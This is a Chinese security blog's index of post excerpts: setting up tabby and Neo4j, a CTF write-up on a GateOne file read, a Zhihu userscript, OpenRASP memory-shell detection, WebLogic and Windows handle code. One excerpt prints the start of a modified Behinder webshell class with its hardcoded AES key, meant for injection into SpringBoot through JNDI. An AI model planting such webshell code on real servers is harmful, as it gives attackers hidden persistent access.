博文

tabby 1.3.x安装和Neo4j数据库配置

图片
     网上大部分资料都是1.3.x之前的教程,tabby作者给出的语雀安装指南页面显示有点问题        折腾了下终于安装完成。      首先是tabby安装:      直接从https://github.com/wh1t3p1g/tabby/releases/ 下载tabby,从 https://github.com/wh1t3p1g/tabby-vul-finder 下载tabby-vul-finder,编译后将target目录下生成的tabby-vul-finder.jar拷贝到tabby.jar同级目录,config目录的db.properties拷贝到tabby子目录config目录下,rules目录下的cyphers.yml拷贝到 tabby子目录rules目录下。      然后是Neo4j安装:      直接参考 https://www.yuque.com/wh1t3p1g/tp0c1t/wx6fiha89p0wu6s5 就行,下载Neo4j和对应版本的apoc-core和apoc-extended库,从https://github.com/wh1t3p1g/tabby-path-finder/releases 下载tabby-path-finder-1.1.jar,要修改的地方就是“dbms.security.procedures.unrestricted=jwt.security.*,apoc.*” 应为“dbms.security.procedures.unrestricted=jwt.security.*,apoc.*,tabby.*”,其他步骤跟着教程走就行。有个注意的地方就是Neo4j启动的时候会自动生成一个“Example Project”,且自带一个默认的dbms,这个数据库连接不上(它的密码不是password),所以需要自己新建个dbms,设置下连接密码为password。     坑点:      在windows上运行tabby.jar会报错: ERROR 2084 --- [main] o.s.boot.SpringApplication : Application run failed java.lang.RuntimeException: java.lang.ArrayIndexOutOfBoundsE

[OGeek2019]Easy Real World 2 writeup

图片
  网上的writeup基本是ssh命令处存在拼接可RCE,我在测试的时候发现文章https://cloud.tencent.com/developer/article/1866793提到GateOne有CVE-2020-35736 任意文件读取漏洞,试一下:

油猴脚本之恢复知乎关注专栏功能

图片
     知乎把关注专栏功能给删除了,但是保留了取消关注专栏功能            抓包看了下取消关注:          留意到在这个请求之前有个OPTIONS包,支持PUT,DELETE等方法,推测关注应该就是PUT          尝试PUT发现报错          换其他专栏试试              关注成功,看来是已关注的专栏不能再关注     那么脚本的思路便有了,脚本如下:   // ==UserScript== // @name 知乎关注专栏 // @namespace http://tampermonkey.net/ // @version 0.1 // @description 恢复知乎关注专栏功能 // @author You // @match https://www.zhihu.com/column/* // @require https://cdn.jsdelivr.net/npm/jquery@3.2.1/dist/jquery.min.js // @grant none // ==/UserScript== //copy from https://gist.githubusercontent.com/raw/2625891/waitForKeyElements.js function waitForKeyElements ( selectorTxt, /* Required: The jQuery selector string that specifies the desired element(s). */ actionFunction, /* Required: The code to run when elements are found. It is passed a jNode to the matched element. */ bWaitOnce, /* Opt

OpenRASP攻防之内存马防御

图片
    “Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题。”但是OpenRASP仍有其不足之处。根据测试,OpenRasp无法对内存马进行检测,所以便想对OpenRasp进行二次开发来检测内存马。     根据OpenRasp官网的说明文档,要对OpenRASP二次开发,为Java服务器添加新的hook点大致分为三步,第一步为添加hook点,根据自己的hook点在com.baidu.openrasp.hook包中欧给添加一个继承自AbstractClassHook的类,并实现getType和isClassMatched两个方法进行hook点的匹配,并在hookMethod方法中的内部类的onMethodEnte方法和onMethodExit方法进行hook点前后的逻辑插入,并实现的hook点加入com.baidu.openrasp.transformer.CustomClassTransformer的构造方法中,实现字节码的转换;第二步添加检测类型,在 com.baidu.openrasp.plugin.checker.CheckParameter 中添加相应的检测类型;第三步为构造参数并进入checker,编写hook点中调用的方法,来实现具体的检测逻辑,检测逻辑中可以调用js插件。      通过分析网上weblogic filter内存马的注入代码,发现关键函数为registerFilter,因此可以定义一个hook类,hookMethod匹配该函数,并且该函数的第一、第二、第三个参数分别为filter名称、filter类名、filter的访问url,所以可以将这三个参数传递到要插入到hook点前的代码中,检测代码将这些参数给第三步的自定义checker,checker主要根据这些参数创建详细的告警日志,方便网络安全运维人员后期查看分析、溯源等。       通过分析哥斯拉webshell管理工具的tomcat servlet内存马注入代码和逻辑,发现关键函数为调用addWrapper,tomcat目前的主要版本为6-10,由于该函数在不同的版本中函数

SpringBoot注入冰蝎内存马实践

图片
     本文以SpringBoot的jolokia存在jndi 注入为例讲如何向服务器注入冰蝎内存马,环境来自 SpringBootVulExploit 。     首先给下改造好的冰蝎代码 package com.evil; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Beh{ public void index(final HttpServletRequest req, final HttpServletResponse resp) { try { if (req.getMethod().equals("POST")) { String k = "e45e329feb5d925b"; // rebeyond HttpSession session = req.getSession(); session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); final Map myPageContext = new HashMap (); myPageContext.put("

如何编程获得weblogic的servername、ListenAddress 、port、version

参考 get-the-name-of-the-server-in-which-i-am-receiving-requests-to-my-app-on-weblogi try { InitialContext ctx = new InitialContext(); String serverName = System.getProperty("weblogic.Name"); MBeanServer server = (MBeanServer)ctx.lookup("java:comp/env/jmx/runtime"); ObjectName objName = new ObjectName("com.bea:Name=" + serverName + ",Type=ServerRuntime"); Integer port = (Integer)server.getAttribute(objName, "ListenPort"); String ListenAddress = (String)server.getAttribute(objName, "ListenAddress"); String WeblogicVersion = (String)server.getAttribute(objName, "WeblogicVersion"); System.out.println("Server Name : " + serverName + "Listen Address : " + ListenAddress + " PORT : " + port + " WeblogicVersion : " + WeblogicVersion); } catch(Exception e) { // }

枚举进程所有文件句柄

    代码来自 Enumerating opened handles from a process ,改了几个小bug      #ifndef UNICODE #define UNICODE #endif #include "stdafx.h" #include <windows.h> #include <stdio.h> #define NT_SUCCESS(x) ((x) >= 0) #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectBasicInformation 0 #define ObjectNameInformation 1 #define ObjectTypeInformation 2 typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI *_NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI *_NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); typedef struct _UNICODE_STRING